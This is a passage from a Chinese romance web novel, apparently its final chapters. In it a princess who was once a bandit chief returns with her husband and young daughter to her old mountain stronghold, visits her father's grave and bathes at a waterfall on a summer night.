短短三年,果然桑海桑田。 曾经的莽山群峰,都是沈青的兄弟们占山为王,现在每个山头的据点还在,甚至大部分驻守的官兵,还是当年莽山那批兄弟。不过受朝廷优待,又有严明纪律,不仅对百姓秋毫不犯,还尽职尽责守护着一方的平安。 加上萧瑞虽然登基为帝,但他从来没有避讳过在莽山的这一段过往,还有沈青与谢珩之间的故事也传得纷纷扬扬,亦有不少人是慕名而来,想看看当年陛下和长公主的落草之地。牛车的车轱辘在泥地上印出浅浅的印记,很熟悉的一条路,沈青当年离开的时候,山中冰雪未消融,今日她回来,草木早就郁郁葱葱。 比记忆中似乎要久一些,等到了小金顶的时候,竟然快要黄昏了。 在脑海中想象过无数次,小金顶会有怎样的变化,等真正到了小金顶,沈青还是有被惊诧到。 这跟她昨天下山打了一壶酒,今日又赶了回来,有什么区别? 最大的区别,大概就是她身边多了这么一个玉雪可爱的小娃娃。 小清雪看到满目简朴零散的木屋,很是新奇,这还是她这双见惯洛京红墙黛瓦的眼睛从未见过的景象。 她仰头乖乖问:“阿娘,这是哪里啊?” “这里是阿娘的家。” “阿娘的家……不是我们住的那里吗?” 沈青知道她说的是洛京的长公主府,语气又更坚定了几分:“这里也是阿娘的家。” 清雪似懂非懂:“那阿娘就是有两个家。” 沈青环顾四周,不仅每一间房屋都完整呈现在她面前,还有檐下挂着的油灯,随着暮色降临而被点亮。屋前有一座高高的哨台,此时空无一人,正好是饭点,像是兄弟们正在这时候进行轮换,所以哨台上暂时无人。她脑海中开始想象,无论推开任何一间房屋,里头都有兄弟,或喝酒猜拳,或闲坐聊天。 “时候不早了,今晚不如先歇息下来,明天你再好好四处逛逛?” 谢珩抱了清雪,又扶着沈青下了牛车:“你想去你的房间,还是……我的房间?” 这下可突然有点把沈青问住了,现在他们是夫妻,自然是同睡一间房,当年在小金顶上,虽然他们几乎也是夜夜同眠,但毕竟算不上夫妻,到底还是分了两间房。 说实话,无论是自己的房间还是谢珩的房间,对她来说都有特殊的意义,她今晚住哪呢? 见她犹疑,谢珩提醒她:“反正我们来小金顶,也不是一日两日,你喜欢的话,想住多久都行,不如两间房各住些时日?” 沈青立刻做出选择:“那今晚就先在我房间里住下吧。” 她让随从亲兵自己安排住所,赖三还是住他原来的屋子,她与谢珩带着孩子,推开了她住了十一年的房门。 推门瞬间,竟然一点灰尘气都没有,很明显这不是临时被人匆匆打扫,而是日复一日,每天都有人整理打扫。 这里还有鲜活的生活感。 她记得在洛京城,一开始跟谢珩也并不是太熟,中间甚至还吵得厉害,几乎要恩断义绝的地步,他竟然始终没有忘记让人将小金顶的一切维护打理。 屋中一砖一石,一桌一椅,她住了那么多年,其实已经很陈旧了,正是因为这种陈旧,呼吸之间,都是她再熟悉不过的气息,旧木的沉淀和窗外新绿的混合,这是洛京城里绝不会有的气息。 这样的气息让她无比安定,此心安处,即是吾乡。 109、第109章 清晨,沈青许久没有醒过这样早,长公主府里清早不会有密林中这样此起彼伏的啾啾鸟鸣,时隔几年,乍然一听,竟然还有些不习惯了。 她睡觉不爱关窗,睁眼可见窗外群山滴翠,郁郁葱葱。 这张床榻依旧是她从小睡到大的那张床榻,因年代久远,加上当年就是随意砍了些木林做了这张床,不少地方都裂开一些细细碎茬,这些细茬总让她有安全感,比长公主府的梨木大床让她还踏实。 被褥间亦是久违了的清爽皂荚香。 恍然一瞬,这好像只是十八岁以前,随便哪天的一个寻常早晨,她醒来了,然后就该起身到处溜达,跟兄弟们打打照面,看哪里有什么劫富济贫的买卖好动手。 憧怔间,一只软乎乎的小手搭在她臂弯上,她回过神来,时光荏苒,小金顶上自在洒脱的匪头老大,现在女儿都快三岁了呢。 真是一个软乎可爱的小娃儿。 她盯着小脸蹭在自己臂弯的娃儿,白白嫩嫩的小团子,越看越满意喜欢,不愧是从她肚子里出来的。 “今天怎么就醒了?” 身后有温润的声音响起,然后她也被一个怀抱从身后裹住,温厚的踏实感,让人不自觉说出心底的心声:“在小金顶上的时候,待一刻就少一刻了,用来睡觉多浪费。”她看不见身后人的表情,却能感受到他清浅笑意,和微微打在她后脖颈上的呼吸:“不会的,以后我们每年都来小金顶,你想何时来便何时来,想住多久便住多久。”可能是谢珩感受到她久别归来后,微妙的惆怅和不舍,他总是说这样的话让她来安心。 等清雪醒来,一家人收拾好,走出房门再看小金顶时,她才终于意识到,谢珩说这样的话,并不是单纯让她安心,而是真的在践行她心中所愿。 准备回小金顶的时候,她想象过,时隔这么久,小金顶上房屋荒废,杂草丛生的模样。 直到昨夜回来,看到屋舍俨然如昨,屋内桌椅砖木被尽心打理维护,她在欣慰之余,心中那种不舍和惆怅却更加呼之欲出。 再到天光明亮时,小金顶上熟悉的景致都归于眼底,她才发现,谢珩对小金顶的打理维护,不仅仅是维持了当年旧貌,其实还是在尽量不影响原貌的情况下,新添置了许多方便,是在为长久来住计议。 比如她的卧房,后面就多加了一间内室,可以用来更衣沐浴,方便又舒适。 再比如,小金顶上与莽山其他山头一般,并不是彻底荒废,而是依然有驻 兵在此守卫,这些驻兵,大部分都是当年沈青的手下,原先就一直 生活在莽山,只不过是换上官军的身份,来守卫莽山和这一方的平安。 也难怪小金顶上生活气息依旧不散。 如此,若朝中无事,她确实可以像谢珩所说那般,想何时来便何时来,想住多久就住多久。 心情明朗,她带着夫君和女儿,在阔别许久的小金顶上四处闲逛起来,不仅沈青,小清雪在这样天地开阔的景象中,连眼神都明亮了许多,到处张望着问这问那。谢珩当然还无法跟她解释,这可是当年她娘亲占山为王的地方,不过小家伙依稀能懂,这是她娘亲以前生活过的地方,一路上搂着谢珩的脖颈问得更起劲了。 只觉得好像娘亲以前生活过的地方,比她生活的地方,更加好玩。 小金顶松竹苍翠葱茏,站在最高处的那座亭子里,清风习习,吹动人的衣摆,也吹得眼底青翠翻叠出层层浪花。 与那日初雪簌簌落下的景致完全不同。 沈青不由得感叹:“那天我就是在这亭子里喝了一晚上的酒,醒来的时候兄弟们都不见了,就是那一天,莽山下了第一场雪。” 谢珩将小清雪放在横椅上,自己也立在围栏边,身后有苍山翠竹相称,映衬得这对父女越发风姿卓然。 他知道她说的是哪一天,那天的初雪,他记忆也很深刻。 那天骤然下雪,是很冷很冷。 他身陷莽山腹地,遭到手下暗害,与手下周旋间,却刚好与萧瑞赖三等人撞上。 可惜当时他身中迷香,还没来得及想出应对之策,就被这几个毫无章法的土匪,颈后一记刀手,敲晕带上了莽山。 当时痛苦寒凉的记忆,原来是他前世今生百转千回求来的姻缘。 不仅仅是那一天,后来他们也在这间亭子里一起看过风景聊过天,不知哪一天起,他居然对这土匪头子没那么排斥了。 沈青也记得,那时候谢珩初到莽山,天天闷闷不乐,她想着法子哄他开心,告诉他莽山多么好玩,可惜冬天还没过去呢,他都没在小金顶上待满一个冬天。 “你记不记得,我之前跟你说,莽山四季有不同之美?冬夜里打猎篝火中喝酒,你已经体验过,可是莽山的春天,翠笋满山,你不知道这山上挖来的翠笋,多么鲜嫩可口。”春光不在,她语气中不由得惆怅。 谢珩安抚她:“无妨,今日午膳,就吃莽山春日里的翠笋。” 沈青瞪圆了眼。 等午膳的时候,桌上盘碟中真的摆放着用新鲜翠笋做出的各色菜肴,有翠笋清炒出来依然保留着青翠颜色的素炒翠笋,有用翠笋煲出鲜香得直令人垂涎的腌笃鲜,厨房还别出心裁,用翠笋来酿各种山珍海味,拿玉箸夹了一只翠笋,咬上一口,里头竟然酿着鲜美的蚝肉。 当真是山珍海味,汇聚于舌尖一寸。 “你究竟是怎么做到的啊?” 虽然她这夫君,好像只要她想,就没有他做不到的事情,但每一次,她还是忍不住发出灵魂深处的层层疑问。 现在已经是夏天了,就算翻遍整个莽山,也不可能再找出一支新鲜的翠笋,莽山今年最后一支翠笋,至少出现在……两个月前吧?但桌上盘碟中这些翠笋,无论是色泽还是口感,跟一刻钟前才从湿润的土壤中挖出来的有什么区别!? 谢珩自然而然为她解惑:“这倒不是难事,只要用雪山积累了上百年的冰川冰镇着,可数月色泽口感不变。” 他语气稀疏平常得,好像这百年冰川,跟地里韭菜一样,随手一割就有。 果然,即便这些年来谢氏渐渐没落,但这人在吃穿用度上,还是无所不用其极到令人发指啊。 沈青嘴角抽了抽:“谢公子果然还是……富贵得令人羡慕。” 除了谢珩自己本人手上还有不少产业外,萧瑞在银钱上,对这位扶持新君赫赫有功但又远离了朝政的驸马,倒是格外大方,比给长公主的赏赐俸禄可高了不少呢。 用一种很光鲜体面的方式,堵住了悠悠众口。 沈青便就心安理得地跟着享福。 用过午膳,沈青又带着夫婿和女儿,去祭拜了父亲沈毅。 其实她在洛京中,也给父亲安放了牌位,立了衣冠冢,算是一家人团聚。 不过毕竟小金顶才是她父亲的真正埋骨地,隔着一方土堆,她才能真实地感觉到,父亲就在自己身边。 夫妻俩领着沈清雪跪在坟前,沈青大概将她离开莽山后发生种种都跟父亲说了。 莽山的兄弟姐妹们都安排妥当,当年正麟宫变得到平反,萧瑞顺利登基,目前来看是一个勤勉自持胸怀天下的贤明君王,天下也渐渐有了中兴之势,百姓开始安居乐业。至于她呢,有了一位哪哪都好她实在挑不出毛病的夫君相伴,还有了小清雪,虽然她不愿给小清雪安上这样的头衔,不过从父亲遗愿的角度来说,沈家香火确实得以延续。絮絮叨叨说完,沈青突然发现,父亲过世后,他所有的愿景,她居然都一点一点实现了。 果然拥有她这么一个女儿,真是天大的福分。 要是父亲身子硬朗一些,多活几年,就可以亲眼看到这一切了。 落日收起了刺眼的光芒,温温柔柔铺在小金顶的一草一木上,坟前的烟烛渐渐堙灭,在夕阳余晖下绕出缱绻青烟。 沈青已经起身,谢珩一身清姿还跪得笔挺,沈清雪不明所以,也只乖乖挨着爹爹继续跪着没有起身。 如同对年幼的沈若清没有印象,谢珩也实在想不起,自己在年少时有没有跟一个叫沈毅的官员打过照面。 但他现在无比虔诚跪在他的坟前,万分庆幸,当年沈毅还是冒险折回了一趟洛京城,带走了幸存的沈若清。 也万分感念,他没有将仇恨的种子种植在沈若清的心里,世上才有了这样一个率性洒脱聪慧果敢的沈青。 最后一束余晖被收于山脊之后,有晚风吹起,他端端正正三叩首,才终于起身。 在小金顶上四处逛了一整天,清雪累得眼睛都睁不开,晚膳还没用完,就趴在爹爹肩头睡得软软乎乎。 想到昨晚是睡在自己房间,今晚沈青便想去睡当初谢珩睡的那间小木屋。 夫妻俩抱着小清雪走到木屋前,一切如昨,没有一丝变化。 夏夜的星空璀璨,不似当年雪夜漆黑,显得那丛丛火把在雪夜里令人骇然。 “当初就是从这屋子门口离开,从此我好几年没再上过小金顶。” 听她语气怅然就知她要开始翻旧账,谢珩很识趣地微抿着唇角。 一说到这个,尤其现在又触景生情,沈青果然就气血上涌:“都是你当年处心积虑费尽心机非要抓我下山!” 本来正趴在爹爹肩头甜睡的清雪,被她这一声带着怒意的轻斥扰醒,迷迷糊糊瞪眼:“谁要抓走阿娘?” 谢珩低头拍着她小脑袋柔声安抚:“是爹爹抓你阿娘下山去做夫人呢。” 小清雪自然听不懂,但爹爹的声音给足她安全感,她脑袋一歪,又继续趴在谢珩肩头甜睡过去。 沈青被他这一本正经的语调说出这么滑稽的话笑到,也歪头问他:“到底是谁抓谁?” 谢珩莞尔一笑:“多谢夫人当年将我掳上小金顶,是我三生有幸。” 沈青实在受不了他这么清正的一张脸,语气一丝不苟地说着这种油腔滑调,耳朵一红,没有理他,径直推门先进了木屋。 与她自己的那间屋子一样,屋内所有陈设摆放,就能当年离开时一模一样,好像他们就只是出门下了趟山,然后……买了一个孩子回来。 不过同样,这间屋子后面,也重新加了一间用来洗浴更衣的内室。 等收拾完毕,虽然累了一整日,沈青在榻上躺了会却怎么也睡不着,窗外有星光流淌,也能隐约照见莽山群峰起伏的轮廓。她往谢珩那边凑了凑,伏在他肩头:“上一次我们在这张榻上同床共枕的时候,你肯定想不到,下一次我们再回来,还会多出一个孩子吧?”谢珩有些许无语,抬眼望着依稀可见的屋梁,心道当初他以为他是男子,要是能想到他们将来会有一个孩子,那才会奇怪吧?见他不说话,她双手塔上他的脖颈,像藤蔓一样缠住他:“诶,你还记不记得你当初是怎么反抗的?” 谢珩微微顿了一下呼吸,身子绷直了些:“清雪还在。” “你干嘛?你这人想到哪里去了?” 沈青哼哼嘲朝讽他,可是这近在咫尺的五官轮廓,没有灯火照亮,刀凿斧刻般的笔挺,此情此景,她还是忍不住凑过去,在他脸颊边轻轻一啄。她手脚并用缠着的人像木雕一样,浑身好像又崩得更紧了。 难道这张床榻有什么特别的功效,只要谢珩往上面一躺,就开始立地成佛? 正想着过往他在这张榻上的种种情形,突然这人轻轻撇开她的束缚,反手轻而易举将她带进怀里,夜色里,她看不清他眸光里的深沉,而游走在她脖颈肩畔的呼吸一点一点灼热起来。不知不觉间,她一双手又攀上他的腰身,迅速升温的身体急需一个稳稳撑住她的点。 “沈青。” 耳畔一道微哑的声音,让她迷离了的目光努力恢复清明,她下巴继续搁在他肩头:“怎么了?” “你之前不是说,每逢夏夜,最适合去瀑布游水吗?” 两人紧紧相拥着,他说话间,沈青能感受到他每一个字都带着颤音。 她深深呼了一口气,没有太多迟疑:“好。” 清雪大部分时候都是由奶娘照料着,所以她在的时候,沈青和谢珩绝不会乱来,今晚大概是触景生情,险些要乱了阵脚。 是该去瀑布前好好冲个凉,让两人都冷静下来,沈青如是想。 很快,唤了奶娘进来伺候,夫妻二人在夜色中出了木屋,顶着满天璀璨星辰,携手信步往小金顶最高处走去。 夜风习习,掠过山间松竹梢头,携带着舒爽凉意,在夜行的两人衣袂发梢间游走,谁也没有说话,可是这夜也太过静谧,明明两人只是牵手同行,沈青都能感受着两人呼吸心跳依然在空中无形交织。 瀑布流水飞流直下的声音越来越清晰,因为夜晚太过于安静,哗哗水声听起来也比白天要恢弘许多。 那瀑布的上头,有一个小小蓄水池,往年每到夏天,夜深无人时,沈青最喜欢躺在那小小蓄水池里,感受着沁凉的流水从自己身上匆匆流过,冲刷着一整日的疲累,再从池子里爬出来的时候,整个人都好像刚从娘胎里出来一般。 不过等她牵着谢珩轻车熟路走到瀑布前,终于才看清,这蓄水池竟然也做过休整,为了不影响视觉上天然的观感,于是工匠们沿着原先那个蓄水池的形状,又在外面扩了一小圈,瀑布的流水依然从这蓄水池里过,但在外圈的时候先缓冲了一下,以及……外圈铺了水道,竟然将炉房烧的热水引了过来。 这样,在蓄水池的外圈,瀑布流水与炉房引过来的热水中和出一个恰到好处的温度,最后才流入蓄水池。 “就算是夏天,这流水也太过清凉,你身子不适合。” 沈青目瞪口呆:“可是这大热天的,也没人会想洗热汤浴吧?” “放心,这水不热,只是缓解了原来的清凉,正是这个天气最合适的温度。” 沈青将信将疑,褪了衣物,留了中裤和兜衣淌下水池,熟悉的水流从身上匆匆淌过,原先每次下水,她总要适应好一阵这流水的寒凉,这次水温果然将将合适,既能驱散夏日的炎热和疲惫,又不至于清凉刺骨。 她立在水中,上半身露出水面,身后是星空下的崇山峻岭,粼粼水波和点点星光映衬下,好像一只清绝又危险的山中魑魅。 她仰头问:“你说说,萧瑞究竟背着我,给你了多少金银财宝?” 建炉房,引水道,其中花费数目必定不小,只是为了满足她喜欢来瀑布游水纳凉的意趣。 谢珩也褪了外衣,保留着内里的衣裳,缓缓淌下水来。 他如实答:“倒也不多,陛下说我陪长公主巡视江山,舟车劳顿,只是这趟出门,一应花销,都算在他的私库里。” 沈青不由得“啧”了一声,萧瑞的私库有几斤几两她还不知道吗? 登基这三年,百废待兴,国库空虚,也就这两年渐渐充实了些,至于萧瑞的私库……不是她鄙夷,是真的比起谢珩来说,太寒酸了。 反正谢珩有手段,良心也过得去,萧瑞也愿意.……一个愿打,一个愿挨,她有什么理由不跟着好好享清福。 小金顶上的瀑布,大概百年千年景致总不会变,在过去很多很多年里,夜深人静的时候,流水和群山,夜空与星月,都是她用来互相慰藉的好友。 “在想什么?” 谢珩无声地走到她身边,两人都只有半只身子露出水面,远远看去,好像是星空下一对神秘而美丽绝伦的鲛人夫妇。 沈青侧头答他:“在想……这里还是比谢家的温泉别庄要舒服。” 过去几年,每到冬日,谢珩都会带她去京郊的温泉别庄小住,那里亭台楼阁,温泉仙池,可谓绝伦,如入仙境。 再怎么美轮美奂,终究比不上小金顶。 谢珩并不否认:“那是自然,温泉别庄虽然是能工巧匠的匠心独运,但总是无法与真正天然的鬼斧神工相提并论。” 夏夜,星空,群山,瀑布,是俯仰可见,也是万金难求。 “谢珩,只要朝中无事,我们以后真的可以年年来小金顶住一段时间诶。” 熟悉的景致,和身边的如玉公子,一切都如梦似幻,却又真真切切,只要她心中所念,原来谢珩都会帮她实现。 小金顶,会一直一直存在。 谢珩在水中与她十指紧扣,莞尔答她:“是的,你想来便来,年年岁岁。” 年年岁岁,生生世世,都要在一起。 替嫁夫君他脸盲 前妻难追 嘉懿长公主